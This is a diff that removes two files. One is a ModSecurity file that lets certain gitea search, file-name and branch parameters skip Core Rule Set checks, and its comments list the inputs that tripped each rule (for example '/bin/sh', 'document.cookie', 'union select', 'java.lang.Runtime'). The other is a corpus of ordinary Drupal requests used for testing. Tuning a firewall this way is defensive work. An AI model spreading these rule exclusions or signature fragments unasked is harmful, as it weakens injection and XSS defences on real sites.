@@ -1,283 +0,0 @@
|
||||
# The eighth change: on gitea's paths, some fields skip the rules that refused
|
||||
# ordinary gitea requests there. They are the fields where gitea sends a search,
|
||||
# a file name or a branch name. Each exclusion runs with the request, before the
|
||||
# rules it switches off, those of phase 1 included, so this file is loaded before
|
||||
# the Core Rule Set's rules. Each comment names a request the rule refused.
|
||||
|
||||
# gitea's searches of code, of issues and pull requests, and of commits send the
|
||||
# text searched for in q, which skips these rules there:
|
||||
# 930110: ../
|
||||
# 930120: .gitignore
|
||||
# 931100: http://127.0.0.1:8080
|
||||
# 932120: Invoke-WebRequest
|
||||
# 932130: $(pwd)
|
||||
# 932140: if (a == b) {
|
||||
# 932160: /bin/sh
|
||||
# 932235: `make check`
|
||||
# 932250: ls -la
|
||||
# 932260: python3
|
||||
# 932380: `whoami`
|
||||
# 933100: <?php echo
|
||||
# 933130: $_GET[
|
||||
# 933135: ${VAR}
|
||||
# 934100: process.env
|
||||
# 934110: http://127.0.0.1:8080
|
||||
# 934130: __proto__
|
||||
# 941100: <script>
|
||||
# 941110: <script>
|
||||
# 941160: <img src=
|
||||
# 941180: document.cookie
|
||||
# 941390: fetch(
|
||||
# 942100: SELECT * FROM users WHERE
|
||||
# 942140: information_schema
|
||||
# 942190: union select
|
||||
# 942230: if (a == b) {
|
||||
# 944100: java.lang.Runtime
|
||||
# 944110: java.lang.Runtime
|
||||
# 944130: java.lang.Runtime
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
|
||||
[^/]+/-/code|\
|
||||
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
|
||||
commits/(?:branch|tag|commit)/.+/search)|\
|
||||
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \
|
||||
"id:900600,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=931100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932140;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=933130;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=934100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=934110;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=934130;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941110;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941390;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=942140;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=944100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=944110;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=944130;ARGS:q"
|
||||
|
||||
# A page opened from the results of one of those searches has the search's
|
||||
# address in Referer, which skips these rules then:
|
||||
# 941110: <script>
|
||||
# 941120: onClick={
|
||||
# 941160: <img src=
|
||||
# 942100: LIKE '%foo%'
|
||||
# 944100: java.lang.Runtime
|
||||
SecRule REQUEST_HEADERS:Referer "@rx ^https?://[^/]+/(?:explore/code|\
|
||||
issues(?:/search)?|pulls|[^/]+/-/code|\
|
||||
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
|
||||
commits/(?:branch|tag|commit)/.+/search)|\
|
||||
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))\?" \
|
||||
"id:900601,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
|
||||
ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
|
||||
ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
|
||||
ctl:ruleRemoveTargetById=942100;REQUEST_HEADERS:Referer,\
|
||||
ctl:ruleRemoveTargetById=944100;REQUEST_HEADERS:Referer"
|
||||
|
||||
# gitea's searches of repositories, users, branches, tags and packages send a
|
||||
# name in q, which skips these rules there:
|
||||
# 930120: .profile
|
||||
# 932120: powershell-scripts
|
||||
# 932260: python3-app
|
||||
# 944130: org.apache.commons.logging
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
|
||||
[^/]+/-/packages|[^/]+/[^/]+/(?:branches|tags)|api/v1/repos/search)$" \
|
||||
"id:900602,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=944130;ARGS:q"
|
||||
|
||||
# gitea's other searches for a name send it in q too, which skips only these
|
||||
# rules there:
|
||||
# 930120: .profile
|
||||
# 932120: powershell-scripts
|
||||
# 932260: python3-app
|
||||
# The searches:
|
||||
# - the dashboard's filter of repositories;
|
||||
# - the repositories on a user's or an organisation's page, whose path has
|
||||
# one segment;
|
||||
# - the author filter of the issue and pull request lists;
|
||||
# - the lists of users and organisations, and the API's search for users.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+|repo/search|\
|
||||
explore/(?:users|organizations)|api/v1/users/search|\
|
||||
[^/]+/[^/]+/(?:issues|pulls)/posters)$" \
|
||||
"id:900603,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
||||
|
||||
# These requests name a file in the path, which skips these rules there:
|
||||
# 920500: notes.txt~
|
||||
# 934100: process.env.d.ts
|
||||
# 941130: docs/a b.xhtml
|
||||
# 944130: java.lang.String.md
|
||||
# The requests:
|
||||
# - a file's page, raw file and download;
|
||||
# - its blame, history, edit, preview and delete pages;
|
||||
# - the API's call for its contents;
|
||||
# - a release attachment's download.
|
||||
SecRule REQUEST_FILENAME \
|
||||
"@rx ^/(?:api/v1/repos/)?[^/]+/[^/]+/(?:src|raw|media|blame|commits|_edit|_preview|_delete|contents|releases/download)/" \
|
||||
"id:900610,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=920500;REQUEST_FILENAME,\
|
||||
ctl:ruleRemoveTargetById=934100;REQUEST_FILENAME,\
|
||||
ctl:ruleRemoveTargetById=941130;REQUEST_FILENAME,\
|
||||
ctl:ruleRemoveTargetById=944130;REQUEST_FILENAME"
|
||||
|
||||
# The requests below name a file in a query parameter. These rules refused
|
||||
# them for the file named:
|
||||
# 930120: .gitignore
|
||||
# 932120: install-script.sh
|
||||
# 932130: [draft].md
|
||||
# 932160: bin/docker-entrypoint
|
||||
# 932260: docker-compose.yml
|
||||
# 934100: process.env.d.ts
|
||||
# 934130: __proto__.json
|
||||
# 941130: index.xhtml
|
||||
# 941180: document.write.js
|
||||
# 942140: information_schema.sql
|
||||
# 944110: java/lang/Runtime.java
|
||||
# 944130: java.lang.String.md
|
||||
# Each request skips the rules that refused it. The fourth change already has
|
||||
# path and redirect_to skip 930120, 932160 and 932260 on every path.
|
||||
|
||||
# A file's commit graph, in file.
|
||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \
|
||||
"id:900620,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:file,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:file,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:file,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:file,\
|
||||
ctl:ruleRemoveTargetById=934100;ARGS:file,\
|
||||
ctl:ruleRemoveTargetById=934130;ARGS:file,\
|
||||
ctl:ruleRemoveTargetById=941130;ARGS:file,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:file,\
|
||||
ctl:ruleRemoveTargetById=942140;ARGS:file,\
|
||||
ctl:ruleRemoveTargetById=944110;ARGS:file,\
|
||||
ctl:ruleRemoveTargetById=944130;ARGS:file"
|
||||
|
||||
# The API's list of a file's commits, in path.
|
||||
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/commits$" \
|
||||
"id:900621,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:path,\
|
||||
ctl:ruleRemoveTargetById=934100;ARGS:path,\
|
||||
ctl:ruleRemoveTargetById=934130;ARGS:path,\
|
||||
ctl:ruleRemoveTargetById=941130;ARGS:path,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:path,\
|
||||
ctl:ruleRemoveTargetById=942140;ARGS:path,\
|
||||
ctl:ruleRemoveTargetById=944110;ARGS:path,\
|
||||
ctl:ruleRemoveTargetById=944130;ARGS:path"
|
||||
|
||||
# The API's call for the contents of several files, in body, as JSON.
|
||||
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/file-contents$" \
|
||||
"id:900622,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:body,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:body,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:body,\
|
||||
ctl:ruleRemoveTargetById=934100;ARGS:body,\
|
||||
ctl:ruleRemoveTargetById=934130;ARGS:body,\
|
||||
ctl:ruleRemoveTargetById=941130;ARGS:body,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:body,\
|
||||
ctl:ruleRemoveTargetById=942140;ARGS:body,\
|
||||
ctl:ruleRemoveTargetById=944110;ARGS:body,\
|
||||
ctl:ruleRemoveTargetById=944130;ARGS:body"
|
||||
|
||||
# An issue opened from a template, in template.
|
||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/issues/new$" \
|
||||
"id:900623,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:template,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:template,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:template,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:template,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:template,\
|
||||
ctl:ruleRemoveTargetById=934100;ARGS:template,\
|
||||
ctl:ruleRemoveTargetById=934130;ARGS:template,\
|
||||
ctl:ruleRemoveTargetById=941130;ARGS:template,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:template,\
|
||||
ctl:ruleRemoveTargetById=942140;ARGS:template,\
|
||||
ctl:ruleRemoveTargetById=944110;ARGS:template,\
|
||||
ctl:ruleRemoveTargetById=944130;ARGS:template"
|
||||
|
||||
# The sign-in page on the way to a file's edit page, in redirect_to.
|
||||
SecRule REQUEST_FILENAME "@rx ^/user/login$" \
|
||||
"id:900624,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:redirect_to,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:redirect_to,\
|
||||
ctl:ruleRemoveTargetById=934100;ARGS:redirect_to,\
|
||||
ctl:ruleRemoveTargetById=934130;ARGS:redirect_to,\
|
||||
ctl:ruleRemoveTargetById=941130;ARGS:redirect_to,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:redirect_to,\
|
||||
ctl:ruleRemoveTargetById=942140;ARGS:redirect_to,\
|
||||
ctl:ruleRemoveTargetById=944110;ARGS:redirect_to,\
|
||||
ctl:ruleRemoveTargetById=944130;ARGS:redirect_to"
|
||||
|
||||
# An attachment uploaded through the API to a release, an issue or a comment,
|
||||
# in name.
|
||||
SecRule REQUEST_FILENAME \
|
||||
"@rx ^/api/v1/repos/[^/]+/[^/]+/(?:releases|issues|issues/comments)/[0-9]+/assets$" \
|
||||
"id:900625,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:name,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:name,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:name,\
|
||||
ctl:ruleRemoveTargetById=934100;ARGS:name,\
|
||||
ctl:ruleRemoveTargetById=934130;ARGS:name,\
|
||||
ctl:ruleRemoveTargetById=941130;ARGS:name,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:name,\
|
||||
ctl:ruleRemoveTargetById=942140;ARGS:name,\
|
||||
ctl:ruleRemoveTargetById=944130;ARGS:name"
|
||||
|
||||
# A diff's hidden lines, fetched when shown, in path.
|
||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/blob_excerpt/[0-9a-f]+$" \
|
||||
"id:900626,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:path,\
|
||||
ctl:ruleRemoveTargetById=934100;ARGS:path,\
|
||||
ctl:ruleRemoveTargetById=934130;ARGS:path,\
|
||||
ctl:ruleRemoveTargetById=941130;ARGS:path,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:path,\
|
||||
ctl:ruleRemoveTargetById=942140;ARGS:path,\
|
||||
ctl:ruleRemoveTargetById=944110;ARGS:path,\
|
||||
ctl:ruleRemoveTargetById=944130;ARGS:path"
|
||||
|
||||
# The requests below name a branch or tag in a query parameter, which skips
|
||||
# the list of command names (932260) there. It refused names such as
|
||||
# docker-build, python3-migration and feat/docker-support.
|
||||
|
||||
# Deleting or restoring a branch, in name.
|
||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/branches/(?:delete|restore)$" \
|
||||
"id:900630,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:name"
|
||||
|
||||
# A release started from a tag, in tag.
|
||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/releases/new$" \
|
||||
"id:900631,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:tag"
|
||||
|
||||
# A branch protection rule opened for editing, in rule_name.
|
||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/branches/edit$" \
|
||||
"id:900632,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:rule_name"
|
||||
|
||||
# A directory listing's last commits, in refSubUrl.
|
||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/lastcommit/" \
|
||||
"id:900633,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:refSubUrl"
|
||||
|
||||
# An artifact upload from actions/upload-artifact@v3 sends the header
|
||||
# Content-Range, which the Core Rule Set refused (920450).
|
||||
SecRule REQUEST_FILENAME \
|
||||
"@rx ^/api/actions_pipeline/_apis/pipelines/workflows/[0-9]+/artifacts/[^/]+/upload$" \
|
||||
"id:900640,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
|
||||
-504
@@ -1,504 +0,0 @@
|
||||
# Ordinary Drupal 11.4 requests that the Core Rule Set must let through at the
|
||||
# defaults. They were recorded from a site driven by a headless Chrome and an
|
||||
# API client. Each line is one request as JSON. Host names, passwords and
|
||||
# session cookies are invented.
|
||||
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/core/themes/olivero/fonts/metropolis/Metropolis-Regular.woff2", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/"], "body": ""}
|
||||
{"method": "GET", "target": "/core/themes/olivero/fonts/metropolis/Metropolis-Bold.woff2", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_lWnmNx7fODjwXZN0k-hinSYDGBOLz2ZYZzrxc1QYUZU.css?delta=0&language=en&theme=olivero&include=eJxtyUEOgCAMBdELgZypSEMaC59QxHB7E-PChZtZzIPK5I6QFZHU21gqNTu8u9KUTENQfetSqK8_Mt5R0xcbLu6cfFw-KvbD2bLBJUQydlP4svB0K0in8g33sTSr", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_nwzDa--ZTKor2DnrN42UKJfPZoODz_psWl5O8HnrUdg.css?delta=1&language=en&theme=olivero&include=eJxtyUEOgCAMBdELgZypSEMaC59QxHB7E-PChZtZzIPK5I6QFZHU21gqNTu8u9KUTENQfetSqK8_Mt5R0xcbLu6cfFw-KvbD2bLBJUQydlP4svB0K0in8g33sTSr", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_e1nubGx6j-CohkDnzUhS1xlK-HQ91BkCHHZe4AcOWIY.js?scope=footer&delta=0&language=en&theme=olivero&include=eJzLz8ksSy3K10_PyU9KzNEtLqnMycxL18mHCucllmWmJ5Zk5ufpFhRl5iYWVQIA53wTlA", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/"], "body": ""}
|
||||
{"method": "GET", "target": "/core/themes/olivero/favicon.ico", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/"], "body": ""}
|
||||
{"method": "GET", "target": "/node", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/search", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_nwzDa--ZTKor2DnrN42UKJfPZoODz_psWl5O8HnrUdg.css?delta=1&language=en&theme=olivero&include=eJxtyTEOwCAIAMAPaXwTKjGkCAaMDb_v0qFD1ztlOmhaBmsFzr6DSUbSlwUODdikkpfRBIu_cmwq_ZtLbzTsuUaurO1KHr5xlgqOD1NaLUA", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/search"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_P3HoRIw1akOqumfw52UfPdxVjrxJAO2SSqPwOEc_8DQ.css?delta=0&language=en&theme=olivero&include=eJxtyTEOwCAIAMAPaXwTKjGkCAaMDb_v0qFD1ztlOmhaBmsFzr6DSUbSlwUODdikkpfRBIu_cmwq_ZtLbzTsuUaurO1KHr5xlgqOD1NaLUA", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/search"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_P3HoRIw1akOqumfw52UfPdxVjrxJAO2SSqPwOEc_8DQ.css?delta=0&language=en&theme=olivero&include=eJxtycEKwCAIANAfmvRNWhIy08ho9Pe7jLHDru-5yuLhqaoTKsTcKlYPf9hwScUpbtCHNBz7r4KzW_lm94sHF6ANpJ7PNyZSHLFjckuEwTfCXjJF", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/login"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_nlF7hWQsRVrlEPbc96OMGevOv3MrfMiKMVvcv6_6Joc.css?delta=1&language=en&theme=olivero&include=eJxtycEKwCAIANAfmvRNWhIy08ho9Pe7jLHDru-5yuLhqaoTKsTcKlYPf9hwScUpbtCHNBz7r4KzW_lm94sHF6ANpJ7PNyZSHLFjckuEwTfCXjJF", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/login"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_aFq4-wv4d0gPBP9K98TVdWfWzXoJLtTyXg_BN3tNojw.js?scope=footer&delta=0&language=en&theme=olivero&include=eJzLz8ksSy3K10_PyU9KzNEtLqnMycxL18mHCucllmWmJ5Zk5ufpFhRl5iYWVcKlShKTigEIZxiZ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/login"], "body": ""}
|
||||
{"method": "GET", "target": "/user/password", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/no-such-page", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/rss.xml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/favicon.ico", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/rss.xml"], "body": ""}
|
||||
{"method": "GET", "target": "/user/login?destination=/node/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node?keys=hello%20world", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node?keys=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node?keys=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node?keys=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node?keys=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
